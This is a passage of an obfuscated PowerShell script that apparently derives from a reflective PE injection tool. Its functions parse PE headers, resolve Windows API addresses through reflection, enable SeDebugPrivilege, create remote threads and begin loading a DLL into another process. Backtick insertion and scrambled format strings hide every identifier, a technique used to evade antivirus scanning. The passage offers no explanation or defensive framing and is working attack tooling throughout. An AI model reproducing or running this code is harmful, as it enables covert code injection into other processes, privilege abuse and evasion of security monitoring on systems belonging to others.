  588.         [Byte[]]${vaLuE`1`ByteS} = [BitConverter]::"GeT`BYtEs"(${V`AL`UE1})
  589.         [Byte[]]${VAL`UE2By`Tes} = [BitConverter]::"GET`BYt`eS"(${v`ALUE2})
  590.         [Byte[]]${FI`N`ALb`ytES} = [BitConverter]::"G`EtBYT`es"([UInt64]0)
  591.         if (${vALUe`1bYT`es}."C`OuNT" -eq ${vAlU`E`2b`ytES}."c`oUnT")
  592.         {
  593.             ${cA`RrY`OVER} = 0
  594.             for (${I} = 0; ${I} -lt ${VAL`UE1b`ytES}."co`UNt"; ${i}++)
  595.             {
  596.                
  597.                 [UInt16]${s`Um} = ${V`A`LUE1bytES}[${I}] + ${vA`lU`e2`ByTeS}[${i}] + ${cAR`RYO`Ver}
  598.                 ${f`i`NalBYTeS}[${I}] = ${S`Um} -band 0x00FF
  599.                
  600.                 if ((${S`UM} -band 0xFF00) -eq 0x100)
  601.                 {
  602.                     ${c`ArR`YOVer} = 1
  603.                 }
  604.                 else
  605.                 {
  606.                     ${Car`R`YoVer} = 0
  607.                 }
  608.             }
  609.         }
  610.         else
  611.         {
  612.             Throw ""
  613.         }
  614.        
  615.         return [BitConverter]::"tOin`T64"(${FIN`A`lBy`TEs}, 0)
  616.     }
  617.    
  618.     Function C`om`pARe-VAL`1GREa`TeRT`hAnVAl2aS`UInt
  619.     {
  620.         Param(
  621.         [Parameter(pOSiTion = 0, MaNDATory = ${TR`UE})]
  622.         [Int64]
  623.         ${va`Lue1},
  624.        
  625.         [Parameter(pOSiTiON = 1, MAnDaTory = ${t`RUE})]
  626.         [Int64]
  627.         ${Va`lu`e2}
  628.         )
  629.        
  630.         [Byte[]]${VAlUe1`B`YtEs} = [BitConverter]::"g`e`TBytes"(${VAL`UE1})
  631.         [Byte[]]${vA`lue2b`yT`Es} = [BitConverter]::"geT`B`YtEs"(${vA`L`UE2})
  632.         if (${V`ALuE1b`Y`TEs}."c`OUNt" -eq ${ValUE2b`y`TeS}."c`OunT")
  633.         {
  634.             for (${i} = ${valUE`1`B`YteS}."C`OuNt"-1; ${i} -ge 0; ${I}--)
  635.             {
  636.                 if (${VAL`U`e1ByT`eS}[${I}] -gt ${v`ALUE`2BYTes}[${i}])
  637.                 {
  638.                     return ${Tr`UE}
  639.                 }
  640.                 elseif (${va`L`UE1bYtEs}[${i}] -lt ${V`A`lUe2BYt`eS}[${I}])
  641.                 {
  642.                     return ${FaL`sE}
  643.                 }
  644.             }
  645.         }
  646.         else
  647.         {
  648.             Throw ""
  649.         }
  650.        
  651.         return ${f`ALse}
  652.     }
  653.    
  654.     Function conveR`T-`UiNtT`oiNT
  655.     {
  656.         Param(
  657.         [Parameter(pOSItion = 0, mAndAToRY = ${tR`UE})]
  658.         [UInt64]
  659.         ${VA`LUE}
  660.         )
  661.        
  662.         [Byte[]]${value`B`y`Tes} = [BitConverter]::"ge`T`Bytes"(${vA`L`UE})
  663.         return ([BitConverter]::"Toi`NT64"(${vaLu`eBy`TEs}, 0))
  664.     }
  665.     Function Get-h`Ex
  666.     {
  667.         Param(
  668.         [Parameter(PoSITION = 0, maNDatORy = ${tr`Ue})]
  669.         ${v`AlUe}
  670.         )
  671.         ${va`lU`esize} = [System.Runtime.InteropServices.Marshal]::"si`z`eOF"([Type]${V`AlUE}."G`ettyPE"()) * 2
  672.         ${H`EX} = "0x{0:X$($ValueSize)}" -f [Int64]${v`AluE}
  673.         return ${h`EX}
  674.     }
  675.    
  676.    
  677.     Function tE`sT-M`EmoRYr`ANG`EvaliD
  678.     {
  679.         Param(
  680.         [Parameter(PosITIOn = 0, mandaToRY = ${tr`Ue})]
  681.         [String]
  682.         ${d`eBugsTRi`NG},
  683.        
  684.         [Parameter(PoSITioN = 1, mandatorY = ${T`RuE})]
  685.         [System.Object]
  686.         ${p`EI`NfO},
  687.        
  688.         [Parameter(pOsitIon = 2, mandAtOrY = ${tr`Ue})]
  689.         [IntPtr]
  690.         ${sT`ARtad`DrESS},
  691.        
  692.         [Parameter(pArAMetERsEtnAme = "Size", pOsItiON = 3, manDatORY = ${tr`UE})]
  693.         [IntPtr]
  694.         ${Si`zE}
  695.         )
  696.        
  697.         [IntPtr]${fI`NA`lE`NDA`DDrESS} = [IntPtr](&("{6}{2}{4}{1}{5}{0}{3}" -f's','ignedI','d','igned','-S','ntAsUn','Ad') (${St`ARtA`Ddr`e`sS}) (${sI`ZE}))
  698.        
  699.         ${p`een`dAdD`REsS} = ${pE`inFo}."e`N`daD`dReSs"
  700.        
  701.         if ((&("{4}{3}{0}{1}{5}{6}{2}"-f'a','terThanVa','t','1Gre','Compare-Val','l2','AsUIn') (${p`eiNFO}."p`ehAndle") (${STAr`Tadd`R`ESS})) -eq ${t`RUe})
  702.         {
  703.             Throw ""
  704.         }
  705.         if ((&("{0}{3}{7}{5}{2}{1}{4}{6}"-f 'Compa','n','ha','re','V','terT','al2AsUInt','-Val1Grea') (${fin`AlenDA`d`DREsS}) (${pe`EnD`A`dDRess})) -eq ${TR`Ue})
  706.         {
  707.             Throw ""
  708.         }
  709.     }
  710.    
  711.    
  712.     Function wr`ItE`-Byte`S`T`omE`MOrY
  713.     {
  714.         Param(
  715.             [Parameter(PoSition=0, mAndAtoRy = ${t`RUE})]
  716.             [Byte[]]
  717.             ${b`yT`ES},
  718.            
  719.             [Parameter(pOsItion=1, mANdaTORY = ${tr`Ue})]
  720.             [IntPtr]
  721.             ${meMORy`Addre`ss}
  722.         )
  723.    
  724.         for (${OF`Fset} = 0; ${oF`F`set} -lt ${bY`TES}."LEnG`Th"; ${ofFs`Et}++)
  725.         {
  726.             [System.Runtime.InteropServices.Marshal]::"w`RItEbY`TE"(${MeMoryadD`R`E`Ss}, ${O`F`Fset}, ${BYt`es}[${o`FF`Set}])
  727.         }
  728.     }
  729.    
  730.     Function GeT-DE`lEGATE`T`yPE
  731.     {
  732.         Param
  733.         (
  734.             [OutputType([Type])]
  735.            
  736.             [Parameter( POsITION = 0)]
  737.             [Type[]]
  738.             ${pA`R`AMETerS} = (&('a') ("{1}{0}{2}" -f'pe[','Ty',']')(0)),
  739.            
  740.             [Parameter( positiON = 1 )]
  741.             [Type]
  742.             ${rET`Ur`Nty`PE} = [Void]
  743.         )
  744.         ${d`oM`AIn} = [AppDomain]::"curRentD`oMA`in"
  745.         ${DYNAs`SE`Mbly} = &('a') ("{5}{6}{1}{8}{2}{7}{3}{4}{0}" -f 'e','tem.R','flection.A','sembl','yNam','S','ys','s','e')('ReflectedDelegate')
  746.         ${AsSE`m`BLYbUiL`D`ER} = ${doM`A`IN}."d`efinedYNAmIc`AS`S`EMB`Ly"(${DY`N`Asse`mBlY}, [System.Reflection.Emit.AssemblyBuilderAccess]::"r`UN")
  747.         ${mODULe`B`U`IlDEr} = ${A`sSe`Mbl`YbuIL`dEr}."dEfInedYNa`Mic`modu`LE"('InMemoryModule', ${faL`SE})
  748.         ${Typ`eb`U`iLDer} = ${Mod`ULEbuil`der}."de`F`I`NetYPE"('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
  749.         ${c`OnsTr`U`Ct`OrbUI`LdEr} = ${Typeb`Ui`l`der}."d`EFINe`CoNs`Tru`ctOr"('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::"ST`AnDarD", ${paR`AmeT`e`RS})
  750.         ${ConSt`Ructo`Rbuil`deR}."S`eTim`ple`mEntA`TI`oNF`Lags"('Runtime, Managed')
  751.         ${m`EthodB`Uil`Der} = ${t`yPEBUIlD`eR}."DE`FIn`emE`ThOD"('Invoke', 'Public, HideBySig, NewSlot, Virtual', ${r`ETUrn`TYpe}, ${PA`Rame`T`ERs})
  752.         ${m`ETHO`d`B`UilDEr}."SEtI`MP`L`eMEntaTI`O`NflagS"('Runtime, Managed')
  753.        
  754.         &("{2}{0}{1}" -f'e-Outpu','t','Writ') ${tyP`EBU`ilder}."crE`ATET`Y`pe"()
  755.     }
  756.     Function G`ET-PrO`cAdDre`ss
  757.     {
  758.         Param
  759.         (
  760.             [OutputType([IntPtr])]
  761.        
  762.             [Parameter( poSiTiON = 0, MaNDAtory = ${TR`UE} )]
  763.             [String]
  764.             ${mOD`U`lE},
  765.            
  766.             [Parameter( pOSITiOn = 1, mANDaToRy = ${tR`UE} )]
  767.             [String]
  768.             ${Pr`OC`EduRe}
  769.         )
  770.         ${SySTe`ma`SSeMbLY} = [AppDomain]::"c`URrEntdo`ma`iN"."Ge`TAS`SEmBlI`es"() |
  771.             &("{0}{1}{2}"-f 'Wh','ere-Obje','ct') { ${_}."GLo`Bala`SSEmB`LY`Ca`c`HE" -And ${_}."lOcA`Ti`On"."S`PLiT"('\\')[-1]."EqU`Als"('System.dll') }
  772.         ${U`NS`AFeNAtIveMEThO`DS} = ${S`ySteM`As`Sem`BlY}."getty`pe"('Microsoft.Win32.UnsafeNativeMethods')
  773.         ${get`MODU`leh`AnD`Le} = ${u`NsA`FeNA`TivEmeThodS}."GETmEt`HoD"('GetModuleHandle')
  774.         ${GetpRoc`AdDRe`ss} = ${UN`SaFenAtiv`Emet`HO`DS}."G`E`TMEthOD"('GetProcAddress', [reflection.bindingflags] "Public,Static", ${nu`ll}, [System.Reflection.CallingConventions]::"a`NY", @((&('a') ("{5}{4}{6}{2}{0}{1}{7}{3}"-f'es.H','and','rvic','f','time.Interop','System.Run','Se','leRe'))."G`eTt`yPE"(), [string]), ${Nu`lL});
  775.         ${keRN32`h`Andle} = ${GE`TM`o`duLeHaNdLe}."I`NVO`KE"(${N`ULl}, @(${Mo`dU`Le}))
  776.         ${t`mpP`TR} = &('a') ("{0}{1}" -f 'IntPt','r')
  777.         ${hANd`l`EReF} = &('a') ("{1}{6}{0}{7}{3}{4}{5}{2}" -f '.Inter','Sys','ndleRef','pS','ervices.H','a','tem.Runtime','o')(${Tm`PPtr}, ${Ke`Rn32`h`ANDle})
  778.         &("{0}{3}{2}{1}"-f 'Write-','ut','utp','O') ${gET`pr`OCaddR`eSS}."I`NVOkE"(${n`ULL}, @([System.Runtime.InteropServices.HandleRef]${H`AN`d`LeREF}, ${PRoc`E`dure}))
  779.     }
  780.    
  781.    
  782.     Function E`NAblE-`S`EDeBu`GPrI`VI`lEgE
  783.     {
  784.         Param(
  785.         [Parameter(posiTION = 1, MAndAtOrY = ${tr`Ue})]
  786.         [System.Object]
  787.         ${W`iN32F`U`N`CTIOnS},
  788.        
  789.         [Parameter(pOSITion = 2, maNDAtOrY = ${TR`Ue})]
  790.         [System.Object]
  791.         ${W`IN32Ty`pes},
  792.        
  793.         [Parameter(PositiON = 3, MaNDaTOrY = ${Tr`UE})]
  794.         [System.Object]
  795.         ${WIn32`CON`sT`A`Nts}
  796.         )
  797.        
  798.         [IntPtr]${tH`R`EadhAN`DLE} = ${WI`N32`Funct`iONs}."Ge`TcU`RReNTt`HrE`AD"."i`NVokE"()
  799.         if (${Th`REAdhAND`Le} -eq [IntPtr]::"z`eRO")
  800.         {
  801.             Throw ""
  802.         }
  803.        
  804.         [IntPtr]${Thre`A`DtOken} = [IntPtr]::"zE`RO"
  805.         [Bool]${rES`ULt} = ${w`IN3`2f`UN`CtionS}."OPeNThrEAdT`ok`en"."InVo`Ke"(${TH`R`EA`Dh`ANDle}, ${wIn3`2C`o`NStA`Nts}."t`okEN`_Qu`eRy" -bor ${wiN3`2`cOnst`AntS}."tokE`N`_ADJUSt_`pRIVI`L`eges", ${Fal`sE}, [Ref]${T`HrEadToK`en})
  806.         if (${ReS`U`lT} -eq ${Fa`LSe})
  807.         {
  808.             ${Erro`R`Code} = [System.Runtime.InteropServices.Marshal]::"GeTLAStW`In32`E`R`Ror"()
  809.             if (${ErrO`Rc`Ode} -eq ${WI`N`32COn`STaNTs}."eR`ROR_n`O_tO`k`en")
  810.             {
  811.                 ${RE`sult} = ${W`In32FUncT`iO`Ns}."iM`PErSona`T`eselF"."in`VOKe"(3)
  812.                 if (${Re`S`UlT} -eq ${f`Al`Se})
  813.                 {
  814.                     Throw ""
  815.                 }
  816.                
  817.                 ${R`ESu`Lt} = ${wIN3`2F`UnCTiONS}."OpeNTH`ReAdTO`kEN"."IN`VOke"(${ThRe`Adha`NDlE}, ${W`in`32CoNSTA`NTS}."T`oken_qUE`Ry" -bor ${WIn`32co`N`StaNTS}."tO`Ke`N_AD`jUST_P`RivileGEs", ${F`A`lse}, [Ref]${T`h`ReadTO`kEN})
  818.                 if (${RES`UlT} -eq ${FA`L`se})
  819.                 {
  820.                     Throw ""
  821.                 }
  822.             }
  823.             else
  824.             {
  825.                 Throw ""
  826.             }
  827.         }
  828.        
  829.         [IntPtr]${pL`Uid} = [System.Runtime.InteropServices.Marshal]::"aLLochgL`OB`Al"([System.Runtime.InteropServices.Marshal]::"s`izEof"([Type]${Wi`N32`T`yPes}."lU`ID"))
  830.         ${r`esuLT} = ${Win32F`UnCt`IONS}."LooKUpP`R`IVIleGe`VALuE"."InV`o`Ke"(${nU`ll}, "SeDebugPrivilege", ${pLu`id})
  831.         if (${r`esu`Lt} -eq ${FaL`Se})
  832.         {
  833.             Throw ""
  834.         }
  835.         [UInt32]${to`keN`P`R`Ivsize} = [System.Runtime.InteropServices.Marshal]::"S`IZeof"([Type]${w`IN32T`yp`Es}."TOkEn_`PrIvIlE`GES")
  836.         [IntPtr]${TOke`N`PrIVIlEGe`SMEm} = [System.Runtime.InteropServices.Marshal]::"aLLo`Ch`g`LoBAL"(${tO`kEnpRi`V`SIZe})
  837.         ${t`O`KENpRiv`ILEGES} = [System.Runtime.InteropServices.Marshal]::"P`T`RtOsTru`CTURE"(${tOkE`NPRIvIle`G`Esm`Em}, [Type]${W`IN32t`YpEs}."TOK`en_`priVile`GEs")
  838.         ${tO`Ken`PRIv`IlEG`Es}."PriVIl`EG`ecOunt" = 1
  839.         ${tokenP`Ri`VIl`EG`es}."pri`Vi`LE`geS"."Lu`Id" = [System.Runtime.InteropServices.Marshal]::"PtR`TOstRUctU`Re"(${P`lUiD}, [Type]${w`In32`TYpEs}."L`UiD")
  840.         ${T`o`kE`N`PriVI`Leges}."PriV`IleG`Es"."aTT`Ri`BUtes" = ${wiN`32`COn`STanTS}."sE_`p`RivILEGe`_`enAb`l`ED"
  841.         [System.Runtime.InteropServices.Marshal]::"sTRUC`TU`R`eT`opTR"(${tO`Kenpr`i`VileGES}, ${TO`kE`N`PrIVILegesmeM}, ${Tr`Ue})
  842.         ${R`e`SuLT} = ${WIn3`2FUNC`TIOns}."adJu`s`TToKEnPRIV`IleGEs"."I`Nv`oKe"(${T`hre`ADT`OkEn}, ${f`AL`SE}, ${toKE`Np`RiVI`LeGE`s`Mem}, ${tOKe`NPRi`VSIzE}, [IntPtr]::"z`ero", [IntPtr]::"ZE`RO")
  843.         ${erR`o`Rco`de} = [System.Runtime.InteropServices.Marshal]::"gE`T`LAStW`IN32`ERRoR"()
  844.         if ((${r`eSU`Lt} -eq ${fAL`SE}) -or (${ER`ROrCO`de} -ne 0))
  845.         {
  846.            
  847.         }
  848.        
  849.         [System.Runtime.InteropServices.Marshal]::"Fr`E`EHGlobal"(${tOk`e`NP`RIVIl`egeSMEm})
  850.     }
  851.    
  852.    
  853.     Function C`REatE-`Re`mOtE`THr`EaD
  854.     {
  855.         Param(
  856.         [Parameter(pOsITion = 1, mAndatoRy = ${TR`UE})]
  857.         [IntPtr]
  858.         ${PrOce`sS`hA`N`dLE},
  859.        
  860.         [Parameter(pOsiTiON = 2, mANDAtorY = ${t`Rue})]
  861.         [IntPtr]
  862.         ${st`Arta`Ddre`Ss},
  863.        
  864.         [Parameter(PosiTIon = 3, MAnDAtory = ${FAL`SE})]
  865.         [IntPtr]
  866.         ${a`RGuM`ENtpTR} = [IntPtr]::"ze`Ro",
  867.        
  868.         [Parameter(POSiTION = 4, MANDaTORY = ${tR`UE})]
  869.         [System.Object]
  870.         ${WIn3`2FU`NctioNs}
  871.         )
  872.        
  873.         [IntPtr]${ReMo`T`Et`hREadHan`dlE} = [IntPtr]::"ze`RO"
  874.        
  875.         ${o`sv`ERSI`On} = [Environment]::"O`Sv`ErSion"."VEr`s`iON"
  876.         if ((${OSv`e`RsIon} -ge (&('a') 'Version' 6,0)) -and (${O`SVER`s`ION} -lt (&('a') 'Version' 6,2)))
  877.         {
  878.             ${Re`TVal}= ${w`i`N32fu`NcTioNs}."NTC`ReAtEt`HrEad`ex"."i`N`Voke"([Ref]${Re`MO`TethReAdh`AN`dLE}, 0x1FFFFF, [IntPtr]::"Ze`RO", ${PROc`eSSHan`D`LE}, ${sT`ArTAd`dreSs}, ${a`RGUMEn`T`pTR}, ${Fa`l`se}, 0, 0xffff, 0xffff, [IntPtr]::"z`erO")
  879.             ${LAst`eR`R`Or} = [System.Runtime.InteropServices.Marshal]::"G`ETlAsT`win`32eR`ROr"()
  880.             if (${Rem`OTetH`Rea`DHANDle} -eq [IntPtr]::"z`ERO")
  881.             {
  882.                 Throw ""
  883.             }
  884.         }
  885.         else
  886.         {
  887.             ${r`emOtethR`e`ADHA`N`DlE} = ${WiN3`2`F`Unct`ioNS}."CREATeR`EMote`THrE`AD"."IN`VOke"(${pRocEsSh`A`ND`lE}, [IntPtr]::"zE`RO", [UIntPtr][UInt64]0xFFFF, ${STar`TaDD`R`E`sS}, ${aRgu`Me`Nt`PTr}, 0, [IntPtr]::"ze`Ro")
  888.         }
  889.        
  890.         if (${rE`m`oTeTHR`eaDh`AN`D`Le} -eq [IntPtr]::"Z`eRO")
  891.         {
  892.             &("{2}{1}{0}" -f 'Error','e-','Writ') "" -ErrorAction ("{1}{0}" -f'top','S')
  893.         }
  894.        
  895.         return ${R`EmoTetHre`A`dh`ANDLe}
  896.     }
  897.    
  898.     Function gET-IMA`GE`NTHeAd`ers
  899.     {
  900.         Param(
  901.         [Parameter(POSItion = 0, MAnDAToRy = ${tr`UE})]
  902.         [IntPtr]
  903.         ${pEh`A`NDLe},
  904.        
  905.         [Parameter(poSItIOn = 1, ManDatorY = ${T`RuE})]
  906.         [System.Object]
  907.         ${wIN`3`2tYpES}
  908.         )
  909.        
  910.         ${nTh`eA`dErS`Info} = &('a') ("{2}{3}{0}{1}"-f 'tem.Obje','ct','Sy','s')
  911.        
  912.         ${doshe`A`DeR} = [System.Runtime.InteropServices.Marshal]::"pTrTOS`T`RuCTU`RE"(${pe`H`AndlE}, [Type]${wIn32`TY`pES}."ImAGE_DOs`_H`ea`dEr")
  913.         [IntPtr]${N`T`HEaD`erS`pTr} = [IntPtr](&("{6}{4}{1}{5}{0}{3}{2}" -f 'As','In','ned','Unsig','dd-Signed','t','A') ([Int64]${PEh`A`NDle}) ([Int64][UInt64]${D`OS`hEADer}."e`_Lf`ANEw"))
  914.         ${N`ThEAdE`R`sIn`Fo} | &("{0}{1}{2}"-f 'A','dd-Membe','r') -MemberType ("{2}{1}{0}" -f'erty','p','NotePro') -Name ("{0}{3}{2}{1}"-f 'N','Ptr','Headers','t') -Value ${N`THE`Ad`eRspTr}
  915.         ${i`MA`gEnTHeAD`Ers64} = [System.Runtime.InteropServices.Marshal]::"pTR`T`OSTRuCtUrE"(${ntHEA`DER`SPTR}, [Type]${W`in`32TYPES}."i`mA`GE_Nt_`HeaDe`RS64")
  916.        
  917.         if (${I`mag`ENthea`DEr`S64}."si`gnA`TU`Re" -ne 0x00004550)
  918.         {
  919.             throw ""
  920.         }
  921.        
  922.         if (${IMag`E`NThEAD`erS64}."op`Ti`ONAlhEAD`eR"."m`AgiC" -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
  923.         {
  924.             ${NT`He`ADE`RSInFO} | &("{3}{1}{0}{2}"-f'-Mem','dd','ber','A') -MemberType ("{2}{0}{1}{3}"-f'ePro','p','Not','erty') -Name ("{2}{3}{4}{0}{1}" -f 'NT_H','EADERS','I','M','AGE_') -Value ${Im`A`gEn`THea`deRs64}
  925.             ${nT`H`EAd`E`RsiNfO} | &("{2}{0}{1}" -f 'dd-Mem','ber','A') -MemberType ("{3}{0}{2}{1}"-f'eP','perty','ro','Not') -Name ("{0}{1}{2}" -f'PE64B','i','t') -Value ${TR`Ue}
  926.         }
  927.         else
  928.         {
  929.             ${im`AGe`NTHeaD`E`R`s32} = [System.Runtime.InteropServices.Marshal]::"PT`Rt`OSTrUct`UrE"(${NThe`AdeRSp`Tr}, [Type]${wiN`3`2tYpES}."I`MAGE_`Nt_heaDE`RS32")
  930.             ${nTHEa`dERs`In`Fo} | &("{2}{1}{0}" -f 'ber','d-Mem','Ad') -MemberType ("{0}{3}{2}{1}"-f 'Note','erty','p','Pro') -Name ("{1}{0}{2}" -f 'AGE_NT_H','IM','EADERS') -Value ${i`MAgENTH`EaDER`S32}
  931.             ${NThe`ADerSIN`FO} | &("{2}{1}{0}"-f 'ber','Mem','Add-') -MemberType ("{2}{3}{1}{0}" -f'ty','er','Not','eProp') -Name ("{0}{2}{1}"-f'P','64Bit','E') -Value ${Fal`SE}
  932.         }
  933.        
  934.         return ${Nt`h`EA`dErs`iNfO}
  935.     }
  936.     Function g`ET-p`E`BasicIN`FO
  937.     {
  938.         Param(
  939.         [Parameter( poSITiON = 0, MAndAtOrY = ${t`RUe} )]
  940.         [Byte[]]
  941.         ${P`E`BYTEs},
  942.        
  943.         [Parameter(poSiTion = 1, MAndAtorY = ${TR`Ue})]
  944.         [System.Object]
  945.         ${w`In32`T`YpEs}
  946.         )
  947.        
  948.         ${Pe`i`NFo} = &('a') ("{0}{2}{1}" -f 'System.Obj','t','ec')
  949.        
  950.         [IntPtr]${U`NmA`NAgedPEBYt`Es} = [System.Runtime.InteropServices.Marshal]::"AllOch`GlOB`AL"(${p`eBYT`Es}."LeN`G`TH")
  951.         [System.Runtime.InteropServices.Marshal]::"c`opy"(${pe`BY`Tes}, 0, ${u`NM`An`A`gEdPEByTeS}, ${pEbyt`es}."l`E`NGth") | &("{1}{0}"-f'ut-Null','O')
  952.        
  953.         ${n`The`ADe`RsiNfo} = &("{4}{2}{0}{1}{3}"-f 'I','mage','-','NtHeaders','Get') -PEHandle ${U`NManaGedP`eB`Y`Tes} -Win32Types ${win3`2`TyPes}
  954.        
  955.         ${pe`InFO} | &("{2}{0}{1}"-f'Membe','r','Add-') -MemberType ("{2}{0}{1}" -f 't','eProperty','No') -Name 'PE64Bit' -Value (${ntH`Ead`eRsinFO}."pE6`4B`iT")
  956.         ${Pei`Nfo} | &("{2}{1}{0}"-f 'er','d-Memb','Ad') -MemberType ("{0}{2}{1}" -f 'No','perty','tePro') -Name 'OriginalImageBase' -Value (${N`THe`Ad`eRSINfo}."I`MAg`E_Nt`_hEAdE`Rs"."OP`T`IoN`ALHe`Ader"."I`maG`EBase")
  957.         ${p`EIn`Fo} | &("{2}{1}{0}" -f 'mber','d-Me','Ad') -MemberType ("{0}{2}{3}{1}" -f 'N','roperty','ote','P') -Name 'SizeOfImage' -Value (${N`TheA`DERSI`NfO}."ImagE_nT_`hE`A`derS"."Op`TION`ALHe`A`der"."siz`EoFIm`AgE")
  958.         ${p`e`INFO} | &("{0}{3}{2}{1}"-f'A','r','be','dd-Mem') -MemberType ("{1}{2}{0}" -f'erty','Note','Prop') -Name 'SizeOfHeaders' -Value (${NTHe`AdeR`si`NFO}."I`m`AGe_n`T`_HEAdErS"."oPT`IonAL`h`eA`DEr"."S`iZe`oFh`e`AdERs")
  959.         ${pei`NfO} | &("{2}{0}{1}"-f'Membe','r','Add-') -MemberType ("{1}{3}{0}{2}"-f 'o','Not','perty','ePr') -Name 'DllCharacteristics' -Value (${NTH`eADe`RsI`NfO}."I`MaG`e_NT`_he`AdErS"."OpTioN`AlHE`AD`er"."Dll`CHARA`C`Te`RIs`TiCS")
  960.        
  961.         [System.Runtime.InteropServices.Marshal]::"fr`E`ehGLOBaL"(${u`NmaN`AGEd`P`eByTES})
  962.        
  963.         return ${p`EiNFo}
  964.     }
  965.     Function gEt-`pEDe`T`AILedi`Nfo
  966.     {
  967.         Param(
  968.         [Parameter( PositION = 0, ManDatORy = ${tr`UE})]
  969.         [IntPtr]
  970.         ${pe`H`ANDLe},
  971.        
  972.         [Parameter(pOSITIOn = 1, MaNDatorY = ${t`RuE})]
  973.         [System.Object]
  974.         ${wI`N`32ty`pEs},
  975.        
  976.         [Parameter(pOSiTIOn = 2, MandATOrY = ${T`RuE})]
  977.         [System.Object]
  978.         ${wIn3`2COnS`TANtS}
  979.         )
  980.        
  981.         if (${pE`Hand`Le} -eq ${n`ULl} -or ${Pe`haNdLE} -eq [IntPtr]::"z`ero")
  982.         {
  983.             throw ''
  984.         }
  985.        
  986.         ${Pe`In`FO} = &('a') ("{0}{1}{3}{2}{4}"-f 'S','ys','m.','te','Object')
  987.        
  988.         ${n`ThEAD`ERSiNfo} = &("{0}{5}{2}{4}{1}{3}" -f'Get-','eade','ag','rs','eNtH','Im') -PEHandle ${PEHa`ND`lE} -Win32Types ${Wi`N32`TyP`ES}
  989.        
  990.         ${Pei`NFo} | &("{0}{2}{1}"-f'Add-Mem','er','b') -MemberType ("{1}{0}{3}{2}"-f 'P','Note','perty','ro') -Name ("{0}{1}{2}" -f 'PEH','and','le') -Value ${P`e`HANDle}
  991.         ${pEi`Nfo} | &("{0}{1}{2}" -f 'Ad','d-','Member') -MemberType ("{0}{1}{3}{2}" -f 'Note','P','y','ropert') -Name ("{0}{1}{2}{3}"-f'IMAGE_','NT_H','EAD','ERS') -Value (${ntH`ea`d`ERSINfO}."IMAGe_N`T_`HE`A`DERS")
  992.         ${pE`InfO} | &("{0}{2}{1}"-f 'Add','r','-Membe') -MemberType ("{2}{1}{0}"-f 'erty','eProp','Not') -Name ("{1}{0}{3}{2}"-f 'r','NtHeade','tr','sP') -Value (${n`T`he`AdE`RSINFO}."nT`hEaDE`R`sPTr")
  993.         ${P`EI`NFO} | &("{1}{2}{0}" -f'mber','Add','-Me') -MemberType ("{2}{3}{1}{0}"-f 'perty','o','N','otePr') -Name ("{0}{1}"-f'PE64B','it') -Value (${NT`HeaD`erSin`Fo}."pE64`BiT")
  994.         ${p`EI`NfO} | &("{1}{0}{2}"-f'dd-Me','A','mber') -MemberType ("{1}{0}{2}{3}" -f'op','NotePr','ert','y') -Name 'SizeOfImage' -Value (${nTHe`AdE`RS`In`Fo}."iMagE`_`Nt_Hea`D`eRs"."o`PtIonAL`HE`AdER"."SI`zeOf`iMage")
  995.        
  996.         if (${pe`i`NFo}."Pe64`BiT" -eq ${tR`UE})
  997.         {
  998.             [IntPtr]${S`ec`TIoNHEAdER`P`Tr} = [IntPtr](&("{6}{2}{0}{3}{4}{5}{1}" -f'gn','d','dd-Si','ed','IntAsUns','igne','A') ([Int64]${p`eI`NFO}."nTh`eADER`S`Ptr") ([System.Runtime.InteropServices.Marshal]::"sI`ZEOf"([Type]${w`In3`2tYpEs}."iMAg`e_n`T_HeadE`R`s64")))
  999.             ${PEi`N`Fo} | &("{2}{0}{1}"-f '-M','ember','Add') -MemberType ("{0}{1}{2}" -f 'No','te','Property') -Name ("{0}{3}{1}{2}" -f'S','onHeaderP','tr','ecti') -Value ${sectI`OnH`eADe`R`pTr}
  1000.         }
  1001.         else
  1002.         {
  1003.             [IntPtr]${se`ctIon`hE`AdERpTr} = [IntPtr](&("{2}{3}{4}{1}{0}" -f 'd','ne','Add-Sign','edIntAs','Unsig') ([Int64]${PE`info}."n`THEadeR`s`PtR") ([System.Runtime.InteropServices.Marshal]::"sIZE`of"([Type]${WIN`32`TyPES}."imA`GE_n`T_hE`Ad`erS`32")))
  1004.             ${pEI`NFo} | &("{1}{3}{0}{2}" -f'Me','Ad','mber','d-') -MemberType ("{0}{1}{2}" -f 'Not','e','Property') -Name ("{0}{1}{3}{2}" -f'Se','ction','eaderPtr','H') -Value ${SeCT`IoN`H`EAde`RP`TR}
  1005.         }
  1006.        
  1007.         if ((${n`Th`eA`DE`RsINFO}."IMa`ge_Nt_h`e`A`dERs"."FILE`h`eadER"."ch`ARA`C`TeRi`STICS" -band ${w`in32C`On`sTaNts}."IMAgE`_FiLe_`D`Ll") -eq ${wiN32`COns`T`AnTS}."im`Ag`e`_fILe_DLl")
  1008.         {
  1009.             ${pE`in`Fo} | &("{0}{1}{2}" -f'Add-M','em','ber') -MemberType ("{2}{1}{0}" -f'operty','Pr','Note') -Name ("{1}{0}" -f 'leType','Fi') -Value 'DLL'
  1010.         }
  1011.         elseif ((${nt`HeA`D`ERsiNFO}."iMA`g`E_n`T_HeaD`ers"."fI`leH`eADer"."ch`ARAc`T`ERistIcS" -band ${wIn32`c`O`NSTA`Nts}."imaGe_Fi`LE_`EXeC`UtaBlE_`iM`AgE") -eq ${wiN32c`o`NstAN`Ts}."iMAGE_fI`LE`_ex`e`cUTa`BlE_Im`A`gE")
  1012.         {
  1013.             ${p`e`iNfO} | &("{0}{2}{1}"-f 'Add-','r','Membe') -MemberType ("{1}{3}{0}{2}" -f't','NotePr','y','oper') -Name ("{1}{0}" -f 'ileType','F') -Value 'EXE'
  1014.         }
  1015.         else
  1016.         {
  1017.             Throw ""
  1018.         }
  1019.        
  1020.         return ${Pei`NFO}
  1021.     }
  1022.    
  1023.    
  1024.     Function I`Mpo`RT-dL`Li`NrEM`OtEPR`OceSs
  1025.     {
  1026.         Param(
  1027.         [Parameter(pOSiTION=0, manDATOry=${T`RUE})]
  1028.         [IntPtr]
  1029.         ${RE`Motepro`ChAn`dlE},
  1030.        
  1031.         [Parameter(PoSItIOn=1, MAnDATORy=${T`RUe})]
  1032.         [IntPtr]
  1033.         ${impOrt`d`L`L`PathPtr}
  1034.         )
  1035.        
  1036.         ${Ptr`SIZE} = [System.Runtime.InteropServices.Marshal]::"sizE`OF"([Type][IntPtr])
  1037.        
